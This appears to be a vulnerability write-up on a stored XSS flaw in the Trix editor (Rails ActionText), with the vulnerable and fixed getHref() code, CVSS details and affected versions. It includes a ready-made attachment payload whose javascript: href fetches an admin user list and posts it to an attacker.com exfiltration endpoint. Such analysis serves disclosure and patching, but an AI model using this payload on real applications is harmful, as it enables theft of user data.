The Trix rich text editor (default in Rails ActionText) failed to sanitize the `href` property inside the `data-trix-attachment` JSON blob. An attacker can manually craft a payload with a `javascript:` URI. When a user clicks the rendered attachment, the script executes. Fixed in version 2.1.16 by implementing DOMPurify validation.
A logic flaw in the Trix editor's attachment handling allows attackers to inject malicious JavaScript via the 'href' property of the 'data-trix-attachment' attribute. This results in Stored XSS when a victim clicks the compromised attachment.
If you've built a Ruby on Rails application in the last five years, you've probably met Trix. It's the engine under the hood of ActionText, designed by the folks at Basecamp to make WYSIWYG editing actually bearable. It treats content as structured data rather than just a messy blob of HTML. This is generally a good thing for consistency.
However, Trix has a feature that attempts to be helpful: it handles attachments. When you drop a file into the editor, Trix creates a representation of that file. To keep track of metadata—like the filename, content type, and download URL—it stuffs a JSON object into a data-trix-attachment attribute on a <figure> tag.
Here is where the philosophy of 'trusting the client' comes back to bite us. The renderer assumes that the JSON blob in the DOM is trustworthy. But as we all know, the DOM is a war zone. If an attacker can modify that JSON before it gets saved to your database (or intercept the request on the way in), they can dictate exactly what happens when an administrator or another user tries to download that 'innocent' PDF.
The vulnerability lies specifically in how Trix renders these attachments for the view. When the editor initializes or renders content, it scans for these data-trix-attachment attributes. It parses the JSON content to decide how to display the file.
Deep within src/trix/views/attachment_view.js, there is a method called getHref(). Its job is simple: check if the attachment JSON has a URL associated with it so the user can click to view or download the file. If the attachment element in the DOM doesn't already have an anchor (<a>) tag inside it, Trix obliges by wrapping the element in a new link.
The logic failure here is classic: Trix took the href value from the JSON and shoved it directly into the href attribute of the generated anchor tag. It didn't care if the protocol was http, https, or the dreaded javascript. It didn't ask questions. It just followed orders.
Let's look at the code before the fix. This is the logic in AttachmentView that retrieves the link destination. It's tragically simple:
// BEFORE: src/trix/views/attachment_view.js
getHref() {
if (!htmlContainsTagName(this.attachment.getContent(), "a")) {
// Just grab it and return it. No guard rails.
return this.attachment.getHref()
}
}If the JSON payload says the href is javascript:alert(1), the browser receives <a href="javascript:alert(1)">...</a>. Modern browsers are pretty good at stopping XSS in many places, but javascript: URIs in anchor tags are a feature, not a bug, of the web standards. They execute code in the context of the current origin.
Now, let's look at the fix introduced in version 2.1.16. The developers realized they needed a bouncer at the door. They brought in DOMPurify to vet the attribute:
// AFTER: src/trix/views/attachment_view.js
getHref() {
if (!htmlContainsTagName(this.attachment.getContent(), "a")) {
const href = this.attachment.getHref()
// The Bouncer checks ID: Is this attribute valid for an anchor tag?
if (href && DOMPurify.isValidAttribute("a", "href", href)) {
return href
}
}
}DOMPurify.isValidAttribute is strict. It checks the protocol. If it sees javascript: or vbscript: or data:, it returns false, and the href is discarded. The link becomes unclickable, but the application remains secure.
To exploit this, we don't need a complex buffer overflow or a heap spray. We just need to lie to the server about what an attachment is. In a standard Rails application using ActionText, the content is saved as HTML. An attacker can intercept the POST request when saving a comment or a blog post and modify the data-trix-attachment attribute.
Here is a weaponized payload. Imagine inserting this into a comment section or a support ticket:
<figure data-trix-attachment='{
"contentType": "application/pdf",
"filename": "Quarterly_Earnings.pdf",
"filesize": 1024,
"href": "javascript:fetch(\"/admin/users.json\").then(r=>r.json()).then(d=>fetch(\"https://attacker.com/exfiltrate\", {method:\"POST\", body:JSON.stringify(d)}))"
}'>
<!-- Visual camouflage -->
<figcaption class="attachment__caption">Quarterly_Earnings.pdf</figcaption>
</figure>To the victim, this looks exactly like a standard file attachment. It has the icon (rendered by CSS based on contentType) and the filename. But when the administrator clicks to download these 'earnings', the JavaScript executes immediately.
In this scenario, the script fetches the user list from an admin endpoint and ships it off to the attacker's server. Because it's a stored XSS, this payload executes every time the malicious content is rendered and clicked.
The severity here is rated Medium (CVSS 4.6) primarily because it requires user interaction (UI:R). The victim has to click the attachment. However, in the context of a CMS or a collaboration tool like Basecamp, clicking attachments is a fundamental user behavior. It's not an edge case; it's the main use case.
The impact is standard for XSS, which is to say, potentially catastrophic depending on the victim:
document.cookie if HttpOnly is not set.While the CVSS score is modest due to the interaction requirement, the practical risk for applications dealing with sensitive documents is significantly higher.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
trix Basecamp | < 2.1.16 | 2.1.16 |
action_text-trix Ruby on Rails | < 2.1.16 | 2.1.16 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network |
| Complexity | Low |
| Privileges Required | Low (Any user who can post content) |
| User Interaction | Required (Click) |
| CWE ID | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Vulnerability Type | Stored XSS |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Get the latest CVE analysis reports delivered to your inbox.